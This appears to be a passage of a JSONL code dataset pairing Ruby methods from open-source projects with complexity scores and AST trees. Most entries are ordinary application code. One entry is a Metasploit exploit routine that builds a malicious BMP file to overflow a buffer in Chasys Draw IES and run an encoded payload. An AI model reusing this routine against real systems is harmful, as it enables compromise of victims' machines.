"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"appStoreVersions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"app_store_version_id\"]}]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tunes_request_client\"]},\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/appStoreVersionReleaseRequests\"]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"59479e27-6363-4c20-aa33-f7711d0c7f48"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/os_process.rb","start_line":15,"raw_source":"def self.xml_to_hashes(xmlNode, findPath)\n result = []\n if xmlNode.kind_of?(Hash)\n xmlNode.each_pair { |_k, v| result << v }\n else\n el = XmlFind.findElement(findPath, xmlNode.root)\n return nil unless MiqXml.isXmlElement?(el)\n\n el.each_element { |e| result << e.attributes.to_h }\n end\n result\n end","complexity_score":19.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"xml_to_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xmlNode\"]},{\"type\":\"arg\",\"children\":[\"findPath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"el\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"XmlFind\"]},\"findElement\",{\"type\":\"lvar\",\"children\":[\"findPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},\"root\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqXml\"]},\"isXmlElement?\",{\"type\":\"lvar\",\"children\":[\"el\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"el\"]},\"each_element\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"attributes\"]},\"to_h\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"8e381158-6b8a-47aa-bc00-ea140027244a"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_json/faster_converter.rb","start_line":104,"raw_source":"def unwrap(value)\n case value\n in [element] then element\n else value\n end\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unwrap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"array_pattern\",\"children\":[{\"type\":\"match_var\",\"children\":[\"element\"]}]},null,{\"type\":\"lvar\",\"children\":[\"element\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"dda72435-e2cd-4b9c-8382-67a3fbe36a61"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/preloader/branch.rb","start_line":80,"raw_source":"def grouped_records\n h = {}\n polymorphic_parent = !root? && parent.polymorphic?\n source_records.each do |record|\n reflection = record.class._reflect_on_association(association)\n next if polymorphic_parent && !reflection || !record.association(association).klass\n (h[reflection] ||= []) << record\n end\n h\n end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"grouped_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"h\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"polymorphic_parent\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"polymorphic?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_records\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reflection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"class\"]},\"_reflect_on_association\",{\"type\":\"send\",\"children\":[null,\"association\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"polymorphic_parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"association\",{\"type\":\"send\",\"children\":[null,\"association\"]}]},\"klass\"]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"reflection\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"h\"]}]}]}","id":"a3e80ef1-342b-42e5-9707-e1f9e945dfba"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":407,"raw_source":"def test_file_field_tag\n assert_dom_equal \"\", file_field_tag(\"picsplz\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_file_field_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[null,\"file_field_tag\",{\"type\":\"str\",\"children\":[\"picsplz\"]}]}]}]}","id":"9c1efd49-b560-4015-a02e-b7064858781d"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_serializer.rb","start_line":176,"raw_source":"def unpinned\n PinnedCheck.unpinned?(object.topic, object.topic_user)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unpinned\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PinnedCheck\"]},\"unpinned?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic_user\"]}]}]}","id":"4d565770-70d5-465c-b41b-8490889bd123"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb","start_line":71,"raw_source":"def exploit\n bof = rand_text(target['Offset'])\n bof << [target.ret].pack(\"V\")\n bof << payload.encoded\n\n bitmap_header = \"\"\n bitmap_header << [0x28].pack(\"V\") # HeaderSize\n bitmap_header << [0x4a3].pack(\"V\") # Width # Used to trigger the overflow\n bitmap_header << [0x1].pack(\"V\") # Height\n bitmap_header << [0x9].pack(\"v\") # Planes # Used to trigger the overflow\n bitmap_header << [0x41].pack(\"v\") # BitCount # Used to trigger the overflow\n bitmap_header << [0x0].pack(\"V\") # Compression\n bitmap_header << [bof.length].pack(\"V\") # SizeImage\n bitmap_header << [0x0].pack(\"V\") # PelsPerMeterX\n bitmap_header << [0x0].pack(\"V\") # PelsPerMeterY\n bitmap_header << [0x0].pack(\"V\") # ClrUse\n bitmap_header << [0x0].pack(\"V\") # ClrImportant\n\n total_size = bof.length + bitmap_header.length + 14 # 14 => file header length\n\n file_header = \"\"\n file_header << \"BM\" # Signature\n file_header << [total_size].pack(\"V\") # Size\n file_header << [0].pack(\"V\") # Reserved\n file_header << [0x36].pack(\"V\") # BitsOffsets\n\n bmp = file_header + bitmap_header + bof\n file_create(bmp)\n end","complexity_score":61.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bof\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bitmap_header\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[40]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1187]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[9]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[65]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"total_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bof\"]},\"length\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]},\"length\"]}]},\"+\",{\"type\":\"int\",\"children\":[14]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_header\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"<<\",{\"type\":\"str\",\"children\":[\"BM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_size\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[54]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bmp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_header\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"bitmap_header\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"bof\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"bmp\"]}]}]}]}","id":"00ef8abb-3737-48fe-bbdc-037edb15f41c"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/jobs/regular/chat/notify_watching_spec.rb","start_line":25,"raw_source":"def track_core_notification(user:, message:, type: ::Notification.types[:chat_watched_thread])\n described_class.new.execute(chat_message_id: message.id)\n Notification.where(user: user, notification_type: type).last\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_core_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_watched_thread\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},\"last\"]}]}]}","id":"44272ea3-2c7b-484d-a20b-bd369bcaf004"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/bulk_update.rb","start_line":50,"raw_source":"def update!\n connection.exec_update(sql, log_name, params)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"exec_update\",{\"type\":\"send\",\"children\":[null,\"sql\"]},{\"type\":\"send\",\"children\":[null,\"log_name\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}","id":"2d51eade-f9ee-4246-abaf-8f74eb47c840"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/auth/default_current_user_provider_spec.rb","start_line":12,"raw_source":"def cookie_jar\n @cookie_jar ||= ActionDispatch::Request.new(env).cookie_jar\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cookie_jar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cookie_jar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"env\"]}]},\"cookie_jar\"]}]}]}","id":"4420d685-0a4d-4cea-907c-d7d69800afb9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/atlassian/jira_connect/serializers/deployment_entity.rb","start_line":112,"raw_source":"def update_sequence_id\n options[:update_sequence_id] || Client.generate_update_sequence_id\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_sequence_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"update_sequence_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"generate_update_sequence_id\"]}]}]}","id":"791b6561-ae84-4102-8a32-cfa42f5fae1a"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/image.rb","start_line":53,"raw_source":"def plp_url\n generate_url(size: self.class.styles[:plp_and_carousel])\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"plp_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"generate_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"styles\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"plp_and_carousel\"]}]}]}]}]}]}","id":"172cde24-3fea-4cdb-83ff-6c766a9580b9"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/services/work_packages/update_ancestors/loader_spec.rb","start_line":239,"raw_source":"def work_package_struct(work_package)\n attribute_names = WorkPackages::UpdateAncestors::Loader::WorkPackageLikeStruct.members.map(&:to_s)\n attributes = work_package.attributes.slice(*attribute_names)\n attributes[:status_excluded_from_totals] = false\n WorkPackages::UpdateAncestors::Loader::WorkPackageLikeStruct.new(**attributes)\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_struct\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"UpdateAncestors\"]},\"Loader\"]},\"WorkPackageLikeStruct\"]},\"members\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"attributes\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_names\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"status_excluded_from_totals\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"UpdateAncestors\"]},\"Loader\"]},\"WorkPackageLikeStruct\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}]}","id":"b22e5920-71d7-4b64-8f55-ec36f4a61bef"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/omniauth_helper.rb","start_line":36,"raw_source":"def direct_login_provider_url(params = {})\n omni_auth_start_url(direct_login_provider, params)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_login_provider_url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"omni_auth_start_url\",{\"type\":\"send\",\"children\":[null,\"direct_login_provider\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"437aa383-c604-47c4-93ce-5f3ce12e0489"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_serializer.rb","start_line":127,"raw_source":"def include_message_archived?\n object.personal_message\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_message_archived?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"personal_message\"]}]}","id":"1e0049c9-6a25-41f5-bc1b-0bc1804343cf"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock/estimator.rb","start_line":47,"raw_source":"def taxation_options_for(shipping_method)\n {\n tax_category: shipping_method.tax_category,\n tax_zone: @order.tax_zone\n }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"taxation_options_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shipping_method\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tax_category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipping_method\"]},\"tax_category\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tax_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"tax_zone\"]}]}]}]}","id":"e2c038f7-c6aa-4b5d-8f46-61085c5511ba"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/synchronize_followers_service.rb","start_line":9,"raw_source":"def call(account, partial_collection_url, expected_digest = nil)\n @account = account\n @expected_followers_ids = []\n @digest = [expected_digest].pack('H*') if expected_digest.present?\n\n return unless process_collection!(partial_collection_url)\n\n # Only remove followers if the digests match, as it is a destructive operation\n remove_unexpected_local_followers! if expected_digest.blank? || @digest == \"\\x00\" * 32\n end","complexity_score":16.18,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]},{\"type\":\"arg\",\"children\":[\"partial_collection_url\"]},{\"type\":\"optarg\",\"children\":[\"expected_digest\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@expected_followers_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_digest\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@digest\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_digest\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_collection!\",{\"type\":\"lvar\",\"children\":[\"partial_collection_url\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_digest\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@digest\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[32]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_unexpected_local_followers!\"]},null]}]}]}","id":"bb4faed4-8c9b-4081-a8b2-1eb5d8066b88"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ldap/queries.rb","start_line":389,"raw_source":"def validate_result!(operation_result)\n code = operation_result.table[:code]\n if code == 0\n dlog('Operation was successful')\n else\n raise Msf::Exploit::Remote::LDAP::Error.new(error_code: code, operation_result: operation_result)\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_result!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"operation_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation_result\"]},\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"str\",\"children\":[\"Operation was successful\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"LDAP\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_code\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operation_result\"]},{\"type\":\"lvar\",\"children\":[\"operation_result\"]}]}]}]}]}]}]}]}","id":"2e8ba99a-ec82-4072-bf55-0c4c30e98109"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb","start_line":97,"raw_source":"def timeout\n datastore['TIMEOUT']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}","id":"de5c252e-8ff0-4956-9fe7-2da3ec501393"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/request/session.rb","start_line":148,"raw_source":"def values\n load_for_read!\n @delegate.values\n 